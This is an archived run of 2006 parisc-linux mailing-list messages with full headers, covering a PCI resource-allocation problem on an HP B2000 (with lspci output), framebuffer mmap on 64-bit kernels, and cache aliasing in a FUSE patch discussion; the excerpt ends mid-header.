Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2006 11:31:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 06 Apr 2006 13:31:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26DEA7D66D;
	Thu,  6 Apr 2006 05:31:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13440-07; Thu, 6 Apr 2006 05:31:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5EAF97D667;
	Thu,  6 Apr 2006 05:31:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CCCF7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Apr 2006 05:31:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13429-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 6 Apr 2006 05:31:03 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 6A2D57D664
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Apr 2006 05:31:03 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k36BUR204967; Thu, 6 Apr 2006 07:30:27 -0400
In-Reply-To: <E1FRON9-0005rC-00@dorka.pomaz.szeredi.hu>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aJFWELoJbXBtrLqHPTQ2ODYqLyUmZQiN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23547

On Thu, 2006-04-06 at 08:53 +0200, Miklos Szeredi wrote:
> How about this?

It would double flush the page on a lot of architectures

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Zyngier <maz@misterjones.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B2000 PCI resource problem
Date: Thu, 06 Apr 2006 21:12:05 +0200
Organization: Metropolis -- Nowhere
Lines: 184
Approved: news@gmane.org
Message-ID: <wrp7j62jz7e.fsf@wild-wind.fr.eu.org>
Reply-To: maz@misterjones.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624046 18850 80.91.229.3 (22 Nov 2014 02:40:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2006 19:12:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 06 Apr 2006 21:12:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 910F27D6D0;
	Thu,  6 Apr 2006 13:12:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17225-10; Thu, 6 Apr 2006 13:12:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 63B467D6D1;
	Thu,  6 Apr 2006 13:12:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B7BE67D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Apr 2006 13:12:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17225-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 6 Apr 2006 13:12:09 -0600 (MDT)
Original-Received: from young-lust.wild-wind.fr.eu.org (lopsy-lu.misterjones.org
	[62.4.18.26]) by free.linux.hp.com (Postfix) with ESMTP id 360147D6CD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Apr 2006 13:12:08 -0600 (MDT)
Original-Received: from hina.wild-wind.fr.eu.org ([192.168.70.139] helo=hina)
	by young-lust.wild-wind.fr.eu.org with esmtpsa
	(TLS-1.0:RSA_AES_256_CBC_SHA:32) (Exim 4.50) id 1FRZtm-0000FI-Hd
	for parisc-linux@lists.parisc-linux.org; Thu, 06 Apr 2006 21:12:06 +0200
Original-Received: from maz by hina with local (Exim 4.60)
	(envelope-from <maz@misterjones.org>) id 1FRZtl-000303-KL
	for parisc-linux@lists.parisc-linux.org; Thu, 06 Apr 2006 21:12:05 +0200
X-Attribution: maz
Original-Lines: 178
X-SA-Exim-Connect-IP: 192.168.70.139
X-SA-Exim-Rcpt-To: parisc-linux@lists.parisc-linux.org
X-SA-Exim-Mail-From: maz@misterjones.org
X-SA-Exim-Scanned: No (on young-lust.wild-wind.fr.eu.org);
	SAEximRunCond expanded to false
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cRlcKy0dMydynYigZWplZmhraGRhZtod
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23548

People,

I recently added a Sun dual gigabit, dual scsi PCI card to one of my
B2000s. This board contains 2 cassini chips, and a 53c896, all sitting
behind an Intel (well, Digital) 21154 PCI bridge.

The system works fine, but I'm seeing the following problems:

Whel probing the SCSI part of the board, the kernel spits the
following:

PCI: resource not parented! [2000-2fff]
PCI: resource not parented! [fb000000-fb5fffff]

And if I look at /proc/ioports :

00000000-00001fff : PCI00 Ports
  00000020-0000003e : pic1
  000000a0-000000be : pic2
  000007e0-000007fe : acpi
  00000800-000008ff : sym53c8xx
  00000900-00000907 : ide0
  00000908-0000090f : ide1
  00000d02-00000d02 : ide0
  00000e00-00000e07 : ide0
  00000f00-00000f7f : tulip
00012000-00013fff : PCI01 Ports
  00012000-000120ff : sym53c8xx
  00012100-000121ff : sym53c8xx
  00002000-00002fff : PCI Bus #02
  00002000-00002fff : PCI Bus #02
  00002000-00002fff : PCI Bus #02
  00002000-00002fff : PCI Bus #02
  00002000-00002fff : PCI Bus #02
  00002000-00002fff : PCI Bus #02
  00002000-00002fff : PCI Bus #02
  00002000-00002fff : PCI Bus #02
[... ad nauseam].

Something looks bad here... Does anybody have a clue about this? lspci
output happended at the end of this mail.

Regards,

	M.

ashes:/home/maz# lspci -vv
0000:00:0c.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 41)
        Subsystem: Hewlett-Packard Company: Unknown device 104f
        Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR+ FastB2B-
        Status: Cap- 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255 (5000ns min, 10000ns max), Cache Line Size: 0x10 (64 bytes)
        Interrupt: pin A routed to IRQ 17
        Region 0: I/O ports at 0f00 [size=128]
        Region 1: Memory at f4005000 (32-bit, non-prefetchable) [size=1K]
        Expansion ROM at f4040000 [disabled] [size=256K]

0000:00:0d.0 Multimedia audio controller: Analog Devices AD1889 sound chip
        Subsystem: Analog Devices AD1889 sound chip
        Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr+ Stepping- SERR+ FastB2B-
        Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255 (250ns min, 63750ns max)
        Interrupt: pin A routed to IRQ 18
        Region 0: Memory at f4009000 (32-bit, prefetchable) [size=512]
        Region 1: Memory at f4008000 (32-bit, prefetchable) [size=16]
        Region 2: Memory at f4007000 (32-bit, prefetchable) [size=16]
        Region 3: Memory at f4006000 (32-bit, prefetchable) [size=16]
        Capabilities: [dc] Power Management version 1
                Flags: PMEClk- DSI- D1- D2+ AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-)
                Status: D0 PME-Enable- DSel=0 DScale=0 PME-

0000:00:0e.0 IDE interface: National Semiconductor Corporation 87415/87560 IDE (rev 03) (prog-if 8f [Master SecP SecO PriP PriO])
        Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR+ FastB2B-
        Status: Cap- 66MHz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255, Cache Line Size: 0x10 (64 bytes)
        Interrupt: pin ? routed to IRQ 7
        Region 0: I/O ports at 0e00 [size=8]
        Region 1: I/O ports at 0d00 [size=4]
        Region 2: I/O ports at 0b00 [size=8]
        Region 3: I/O ports at 0a00 [size=4]
        Region 4: I/O ports at 0900 [size=16]

0000:00:0e.1 Bridge: National Semiconductor Corporation 87560 Legacy I/O (rev 01)
        Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr+ Stepping- SERR+ FastB2B-
        Status: Cap- 66MHz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255, Cache Line Size: 0x10 (64 bytes)
        Interrupt: pin ? routed to IRQ 19

0000:00:0e.2 USB Controller: National Semiconductor Corporation USB Controller (rev 02) (prog-if 10 [OHCI])
        Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR+ FastB2B-
        Status: Cap- 66MHz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 240
        Interrupt: pin D routed to IRQ 1
        Region 0: Memory at f4004000 (32-bit, non-prefetchable) [size=4K]
        Region 1: Memory at f4003000 (32-bit, non-prefetchable) [size=4K]

0000:00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53c895a (rev 01)
        Subsystem: LSI Logic / Symbios Logic LSI53C895A PCI to Ultra2 SCSI Controller
        Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR+ FastB2B-
        Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255 (4250ns min, 16000ns max), Cache Line Size: 0x10 (64 bytes)
        Interrupt: pin A routed to IRQ 20
        Region 0: I/O ports at 0800 [size=256]
        Region 1: Memory at f4002000 (32-bit, non-prefetchable) [size=1K]
        Region 2: Memory at f4000000 (32-bit, non-prefetchable) [size=8K]
        Capabilities: [40] Power Management version 2
                Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-)
                Status: D0 PME-Enable- DSel=0 DScale=0 PME-

0000:01:00.0 3D controller: Hewlett-Packard Company Visualize FXe (rev 03)
        Subsystem: Hewlett-Packard Company: Unknown device 108c
        Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr+ Stepping- SERR- FastB2B-
        Status: Cap- 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255
        Interrupt: pin A routed to IRQ 21
        Region 0: Memory at fa000000 (64-bit, prefetchable) [size=16M]
        Region 2: Memory at f9000000 (64-bit, non-prefetchable) [size=16M]
        Expansion ROM at f4800000 [disabled] [size=128K]

0000:01:02.0 PCI bridge: Intel Corporation 21154 PCI-to-PCI Bridge (prog-if 00 [Normal decode])
        Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr+ Stepping- SERR+ FastB2B+
        Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255, Cache Line Size: 0x10 (64 bytes)
        Bus: primary=01, secondary=02, subordinate=02, sec-latency=255
        I/O behind bridge: 00002000-00002fff
        Memory behind bridge: fb000000-fb5fffff
        Prefetchable memory behind bridge: 00000000f0100000-00000000f0100000
        BridgeCtl: Parity+ SERR+ NoISA- VGA- MAbort- >Reset- FastB2B-
        Capabilities: [dc] Power Management version 1
                Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-)
                Status: D0 PME-Enable- DSel=0 DScale=0 PME-
                Bridge: PM- B3+

0000:02:00.0 Ethernet controller: National Semiconductor Corporation DP83065 [Saturn] 10/100/1000 Ethernet Controller (rev 30)
        Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR- FastB2B-
        Status: Cap- 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=slow >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255 (16000ns min, 16000ns max), Cache Line Size: 0x20 (128 bytes)
        Interrupt: pin A routed to IRQ 22
        Region 0: Memory at fb200000 (32-bit, non-prefetchable) [size=2M]
        Expansion ROM at fb500000 [disabled] [size=1M]

0000:02:01.0 Ethernet controller: National Semiconductor Corporation DP83065 [Saturn] 10/100/1000 Ethernet Controller (rev 30)
        Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR- FastB2B-
        Status: Cap- 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=slow >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255 (16000ns min, 16000ns max), Cache Line Size: 0x20 (128 bytes)
        Interrupt: pin A routed to IRQ 23
        Region 0: Memory at fb000000 (32-bit, non-prefetchable) [size=2M]
        Expansion ROM at fb500000 [disabled] [size=1M]

0000:02:02.0 SCSI storage controller: LSI Logic / Symbios Logic 53C896/897 (rev 07)
        Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR+ FastB2B-
        Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255 (4250ns min, 16000ns max), Cache Line Size: 0x10 (64 bytes)
        Interrupt: pin A routed to IRQ 24
        Region 0: I/O ports at 12100 [size=256]
        Region 1: Memory at fb405000 (64-bit, non-prefetchable) [size=1K]
        Region 3: Memory at fb402000 (64-bit, non-prefetchable) [size=8K]
        Expansion ROM at fb500000 [disabled] [size=64K]
        Capabilities: [40] Power Management version 2
                Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-)
                Status: D0 PME-Enable- DSel=0 DScale=0 PME-

0000:02:02.1 SCSI storage controller: LSI Logic / Symbios Logic 53C896/897 (rev 07)
        Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR+ FastB2B-
        Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255 (4250ns min, 16000ns max), Cache Line Size: 0x10 (64 bytes)
        Interrupt: pin B routed to IRQ 25
        Region 0: I/O ports at 12000 [size=256]
        Region 1: Memory at fb404000 (64-bit, non-prefetchable) [size=1K]
        Region 3: Memory at fb400000 (64-bit, non-prefetchable) [size=8K]
        Expansion ROM at fb500000 [disabled] [size=64K]
        Capabilities: [40] Power Management version 2
                Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-)
                Status: D0 PME-Enable- DSel=0 DScale=0 PME-


-- 
And if you don't know where you're going, any road will take you there...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Wed, 05 Apr 2006 20:02:53 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <1144281773.3214.2.camel@mulgrave.il.steeleye.com>
References: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be>
	 <20060403012831.GB12037@colo.lackof.org>
	 <1144152354.3425.21.camel@mulgrave.il.steeleye.com>
	 <200604050850.06058.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624046 18852 80.91.229.3 (22 Nov 2014 02:40:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Grant Grundler <grundler@parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <James.Bottomley@SteelEye.com>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2006 02:38:13 -0000
Original-Received: from stat9.steeleye.com (EHLO hancock.sc.steeleye.com) [209.192.50.41]
  by mx0.gmx.net (mx056) with SMTP; 06 Apr 2006 04:38:13 +0200
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id k362cA212554;
	Wed, 5 Apr 2006 22:38:10 -0400
In-Reply-To: <200604050850.06058.deller@gmx.de>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ik0Dc1FfbGI0oKaDYmRnaHVncmZ1ZtyB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23549

On Wed, 2006-04-05 at 08:50 +0200, Helge Deller wrote: 
> > I suggest that on 32 bits, we really shouldn't alter the current scheme
> > (i.e. keep the separated I/O and  memory mappings).  On 64 bits, we
> > could allocate a far different VM range to vmalloc (somewhere up beyond
> > the maximum possible physical memory) and thus make it far bigger, which
> > would allow us to keep a mapped ioremap implementation.
> 
> Might work, although it makes the sources pretty ugly again.
> The biggest problem with 64bit kernel and seperated I/O and memory mappings was, that you wasn't able to export I/O-memory via mmap() to 32bit userspace applications.
> Biggest affected application was X11, who tried to mmap() the 64bit f-space region of the graphics RAM into 32bit-userspace.
> This might maybe be maybe solveable with your proposal, since e.g. X11 on 32bit Kernel worked already somehow and 64bit could be solved with the mapping.

I suspected it might be something like this.  Actually, ioremap looks to
be the wrong interface to fix this.  The problem seems to be that
fb_mmap() in drivers/video/fb.c has a special fall through case if the
driver doesn't implement fb_mmap() which tries to insert page mappings
for the I/O memory region into the users space, this fall through
doesn't seem to be correct for 64 bits (or at least for 32 bit processes
running on a 64 bit kernel) ... I think if we fix this, we'll get
graphics on 64 bit without the need to remap I/O memory.

James




From - Thu Nov 08 21:34:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [fuse-devel] Re: [parisc-linux] [PATCH] Fixs to work on ARM
	and PARIC platforms.
Date: Wed, 05 Apr 2006 20:07:26 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <1144282046.3214.7.camel__40984.6630217091$1416624047$gmane$org@mulgrave.il.steeleye.com>
References: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
	<1143906395.3368.10.camel@mulgrave.il.steeleye.com>
	<E1FPjJe-0001cw-00@dorka.pomaz.szeredi.hu>
	<1143931084.3368.18.camel@mulgrave.il.steeleye.com>
	<E1FPyD6-0002ag-00@dorka.pomaz.szeredi.hu>
	<1143986960.3865.5.camel@mulgrave.il.steeleye.com>
	<E1FQOzi-0007VZ-00@dorka.pomaz.szeredi.hu>
	<1144135400.3552.11.camel@mulgrave.il.steeleye.com>
	<E1FQhEh-0000Vz-00@dorka.pomaz.szeredi.hu>
	<1144165204.3597.13.camel@mulgrave.il.steeleye.com>
	<E1FQo4N-000159-00@dorka.pomaz.szeredi.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624047 18855 80.91.229.3 (22 Nov 2014 02:40:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:47 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: Miklos Szeredi <miklos@szeredi.hu>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2006 02:39:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 06 Apr 2006 04:39:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A93157D7CD;
	Wed,  5 Apr 2006 20:39:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09786-09; Wed, 5 Apr 2006 20:39:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75E2A7D7D3;
	Wed,  5 Apr 2006 20:39:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F34B07D7CC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Apr 2006 20:39:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09786-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 5 Apr 2006 20:39:18 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 155677D7C2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Apr 2006 20:39:18 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k362cf212570; Wed, 5 Apr 2006 22:38:42 -0400
In-Reply-To: <E1FQo4N-000159-00@dorka.pomaz.szeredi.hu>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EQpVIFFHa0Aovr6aejEzMzQ3Njh6dI7W
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23550

On Tue, 2006-04-04 at 18:07 +0200, Miklos Szeredi wrote:
> > No, because if you look at the implementation, you'll see that
> > copy_to/from_user() copy straight into the user view (i.e. via the user
> > cache lines).
> 
> Yes.  But how will this ensure that the above problems (dirty/clean
> cache lines in aliases) won't cause any problems?

It doesn't.  The object is to write into the user cache as though the
actual user process had done it (i.e. disregarding all aliasing).

> What is the difference between
> 
>  - updating cached data through the user view
> 
>  - flushing the cache lines for the user view, then updating data
>    through the kernel view and finally flushing the cache lines for
>    the kernel view

In the former, the data usually ends up in dirty user cache lines.  In
the latter the cache lines are entirely clean after the procedure.

> I don't see in either case that the cache lines for any other aliases
> are touched.  Is there still some difference in behavior?

Yes, in the former, only a single alias (the user view) is affected.  In
the latter, all views are accounted for.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
